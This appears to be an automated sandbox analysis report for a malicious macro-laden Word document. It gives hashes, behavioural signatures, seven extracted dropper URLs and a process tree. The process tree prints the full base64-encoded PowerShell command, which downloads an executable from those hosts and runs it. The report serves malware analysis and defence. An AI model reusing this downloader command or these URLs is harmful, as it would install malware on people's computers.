Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
-
submitted
15/09/2024, 12:28
General
-
Target
e27af27d3ea6bbea4bb1dac1dd69c705_JaffaCakes118.doc
-
Size
153KB
-
MD5
e27af27d3ea6bbea4bb1dac1dd69c705
-
SHA1
6182f640ca9471148c1487e859a615e45d9213dc
-
SHA256
94497f815bd3aa5616dd13898dbf698fcc76a08c5eddcae5252369b61a106bd7
-
SHA512
c07c6fde00982d74ef5454cb8de87cb48fc706cfffbbcf15c3b414d7cba5dcbdc5cdba69555c3a8b51a01850c5278893f4ca16d268c4f16b310a08f49d8bac3f
-
SSDEEP
1536:9LB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ5p+a9ojbs7zWLEKa:N22TWTogk079THcpOu5UZp7yLda
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://syracusecoffee.com/customer/jzN/
exe.dropper
http://intrasistemas.com/cgi-bin/6/
exe.dropper
http://rocketviral.com/bv/O/
exe.dropper
http://shop.homenhealthy.com/wp-includes/xt/
exe.dropper
http://raintoday.org/wp-admin/e/
exe.dropper
https://qualitychildcarepreschool.com/emqblk/292416929446266/O/
exe.dropper
http://thammynhp.com/wp-includes/H/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 9 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e27af27d3ea6bbea4bb1dac1dd69c705_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exePOWeRsHeLL -ENCOD JABPAHoAbAByAHIAYgBoAD0AKAAoACcAUgA1ADcAJwArACcAOAAnACkAKwAoACcAYgB2ACcAKwAnAGgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAHIAUAByAG8ARgBJAGwARQBcAFcAawAyAHEAYwBtAFYAXABrAEYAMgB1ADUANQA4AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAHUAcgBJAFQAeQBgAFAAUgBvAHQATwBgAGMAbwBsACIAIAA9ACAAKAAnAHQAJwArACcAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAyACcAKwAnACwAJwArACcAIAB0AGwAcwAxADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABMADAAaABhAHAAZABiACAAPQAgACgAKAAnAEgAJwArACcAdABhAG0AJwApACsAJwBtAHoAJwApADsAJABUAGMANwByAHoAdgB3AD0AKAAoACcAUABiAGgAcgAnACsAJwAyACcAKQArACcAMwB1ACcAKQA7ACQAQwB5AGsAOAA2AG0AZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBXACcAKwAnAGsAMgBxAGMAbQB2AHsAMAB9AEsAZgAnACsAJwAyACcAKwAnAHUAJwArACcANQA1ACcAKwAnADgAJwArACcAewAnACsAJwAwAH0AJwApACAAIAAtAGYAIAAgAFsAQwBoAGEAcgBdADkAMgApACsAJABMADAAaABhAHAAZABiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVgBjADMAMwBpAHIAeQA9ACgAKAAnAFYAMAAnACsAJwB5AGoAbAAnACkAKwAnADUAJwArACcAdgAnACkAOwAkAEIAegBwAHAAZQAzADkAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAEkAZQBOAHQAOwAkAEgANQAzAGwANwBqAHcAPQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoALwAvAHMAJwArACcAeQAnACkAKwAnAHIAJwArACgAJwBhAGMAdQBzAGUAJwArACcAYwBvACcAKQArACgAJwBmAGYAZQAnACsAJwBlACcAKQArACgAJwAuAGMAbwBtAC8AYwAnACsAJwB1AHMAdAAnACsAJwBvACcAKwAnAG0AZQAnACsAJwByACcAKQArACgAJwAvACcAKwAnAGoAegBOAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBpAG4AJwApACsAKAAnAHQAcgBhAHMAaQAnACsAJwBzACcAKwAnAHQAZQBtAGEAJwApACsAKAAnAHMALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwBjAGcAJwArACcAaQAtACcAKQArACgAJwBiAGkAbgAvACcAKwAnADYAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAKAAnAC8ALwByACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAawBlACcAKwAnAHQAdgBpACcAKQArACgAJwByAGEAbAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAvACcAKQArACgAJwBiAHYALwAnACsAJwBPACcAKQArACcALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6AC8ALwAnACsAJwBzAGgAbwBwACcAKQArACgAJwAuAGgAbwBtAGUAbgBoACcAKwAnAGUAJwArACcAYQBsACcAKQArACgAJwB0AGgAeQAnACsAJwAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZABlAHMALwAnACkAKwAoACcAeAB0AC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwAnACkAKwAnAHIAJwArACgAJwBhACcAKwAnAGkAbgAnACsAJwB0AG8AZABhACcAKwAnAHkALgBvAHIAZwAnACkAKwAoACcALwB3AHAALQAnACsAJwBhAGQAbQBpAG4ALwAnACsAJwBlAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwBzADoALwAnACsAJwAvACcAKQArACgAJwBxAHUAJwArACcAYQAnACkAKwAoACcAbABpACcAKwAnAHQAeQBjAGgAJwArACcAaQBsACcAKQArACgAJwBkACcAKwAnAGMAYQAnACkAKwAoACcAcgBlACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAZQBzAGMAaABvAG8AbAAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAGUAJwArACcAbQAnACsAJwBxAGIAbABrAC8AJwApACsAJwAyACcAKwAoACcAOQAnACsAJwAyADQAMQA2ADkAJwApACsAKAAnADIAOQAnACsAJwA0ACcAKQArACgAJwA0ADYAMgAnACsAJwA2ADYAJwApACsAJwAvACcAKwAnAE8ALwAnACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwB0AGgAYQAnACsAJwBtAG0AeQBuACcAKwAnAGgAJwApACsAJwBwACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQAnACsAJwBpACcAKwAnAG4AYwBsAHUAJwArACcAZABlACcAKwAnAHMALwBIAC8AJwApACkALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBhAHYAcAB2AHUAcwA9ACgAKAAnAEIAJwArACcAMQBqACcAKQArACcANwAnACsAKAAnADYAJwArACcAZAByACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQBsADMANwB3AGMAZQAgAGkAbgAgACQASAA1ADMAbAA3AGoAdwApAHsAdAByAHkAewAkAEIAegBwAHAAZQAzADkALgAiAGQATwB3AE4ATABPAEEAYABEAGAARgBJAGwAZQAiACgAJABFAGwAMwA3AHcAYwBlACwAIAAkAEMAeQBrADgANgBtAGYAKQA7ACQAUwAzAGcAagB1ADkAcQA9ACgAKAAnAEsAJwArACcAdAB4ADIAOAAnACkAKwAnAG0ANQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwB5AGsAOAA2AG0AZgApAC4AIgBsAGAARQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMwA1ADcAMQA3ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEMAeQBrADgANgBtAGYAKQA7ACQATgB4ADEAZwBmAGcAawA9ACgAKAAnAEsAMQAnACsAJwB0ACcAKQArACcAaAAnACsAKAAnADQAcwAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABKAHUAdAB5AGwAZQA5AD0AKAAoACcASQBhACcAKwAnAGIAJwApACsAJwA4ADMAJwArACcAcQAxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBvAG0AcgAzAGQAdgA9ACgAKAAnAFcAMQBnAGgAJwArACcAOAAnACkAKwAnAGMAJwArACcAdwAnACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD52d4dbd9ff17b767e82dfa5a78fa5ceaa
SHA1666556396c5080f94e4a04119b897b390ce3118d
SHA2567be710ab702c8f58e0b9c99440e13dd09727cee57af6b4770117e2e06d6b1e51
SHA512f2be99d65769ac388466eed64be24fdd85277d4c65955955adaed77a5497dd66df0ddcdfd2e22aeaf656edae6358f4f8e7ca7c0daa66344828cc960e9aaaf7cb
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
44KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
2.9MB
-
Filesize
32KB